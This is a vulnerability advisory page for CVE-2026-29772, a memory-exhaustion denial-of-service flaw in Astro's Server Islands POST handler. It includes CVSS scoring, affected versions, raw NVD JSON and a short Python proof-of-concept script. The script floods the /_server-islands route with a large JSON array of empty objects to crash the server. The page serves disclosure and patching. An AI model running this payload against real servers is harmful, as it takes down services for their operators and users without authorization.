Security Vulnerability Report
中文
CVE-2026-29772 CVSS 5.9 MEDIUM

CVE-2026-29772

Published: 2026-03-24 19:16:51
Last Modified: 2026-03-25 21:48:17

Description

Astro is a web framework. Prior to version 10.0.0, Astro's Server Islands POST handler buffers and parses the full request body as JSON without enforcing a size limit. Because JSON.parse() allocates a V8 heap object for every element in the input, a crafted payload of many small JSON objects achieves ~15x memory amplification (wire bytes to heap bytes), allowing a single unauthenticated request to exhaust the process heap and crash the server. The /_server-islands/[name] route is registered on all Astro SSR apps regardless of whether any component uses server:defer, and the body is parsed before the island name is validated, so any Astro SSR app with the Node standalone adapter is affected. This issue has been patched in version 10.0.0.

CVSS Details

CVSS Score
5.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:astro:\@astrojs\/node:*:*:*:*:*:node.js:*:* - VULNERABLE
Astro < 10.0.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json def exploit(url): # Create a massive list of empty objects to trigger memory amplification # Adjust the count (e.g., 100000) based on the server's memory limit payload = [{}] * 100000 data = json.dumps(payload) # The vulnerable endpoint is usually /_server-islands/[name] target = f"{url.rstrip('/')}/_server-islands/test" headers = { "Content-Type": "application/json" } try: print(f"Sending payload of size: {len(data)} bytes to {target}") response = requests.post(target, data=data, headers=headers, timeout=10) print(f"Response status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"Attack successful (Server likely crashed): {e}") if __name__ == "__main__": target_url = "http://localhost:3000" exploit(target_url)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-29772", "sourceIdentifier": "[email protected]", "published": "2026-03-24T19:16:51.153", "lastModified": "2026-03-25T21:48:16.560", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Astro is a web framework. Prior to version 10.0.0, Astro's Server Islands POST handler buffers and parses the full request body as JSON without enforcing a size limit. Because JSON.parse() allocates a V8 heap object for every element in the input, a crafted payload of many small JSON objects achieves ~15x memory amplification (wire bytes to heap bytes), allowing a single unauthenticated request to exhaust the process heap and crash the server. The /_server-islands/[name] route is registered on all Astro SSR apps regardless of whether any component uses server:defer, and the body is parsed before the island name is validated, so any Astro SSR app with the Node standalone adapter is affected. This issue has been patched in version 10.0.0."}, {"lang": "es", "value": "Astro es un framework web. Antes de la versión 10.0.0, el gestor POST de Server Islands de Astro almacena en búfer y analiza el cuerpo completo de la solicitud como JSON sin aplicar un límite de tamaño. Debido a que JSON.parse() asigna un objeto de pila V8 para cada elemento en la entrada, una carga útil manipulada de muchos objetos JSON pequeños logra una amplificación de memoria de ~15x (bytes en tránsito a bytes en pila), permitiendo que una única solicitud no autenticada agote la pila del proceso y bloquee el servidor. La ruta /_server-islands/[name] está registrada en todas las aplicaciones Astro SSR independientemente de si algún componente utiliza server:defer, y el cuerpo se analiza antes de que se valide el nombre de la isla, por lo que cualquier aplicación Astro SSR con el adaptador autónomo de Node se ve afectada. Este problema ha sido parcheado en la versión 10.0.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:astro:\\@astrojs\\/node:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "9.0.0", "versionEndExcluding": "10.0.0", "matchCriteriaId": "315766F8-1240-4160-98C4-652A21AF6CED"}]}]}], "references": [{"url": "https://github.com/withastro/astro/security/advisories/GHSA-3rmj-9m5h-8fpv", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}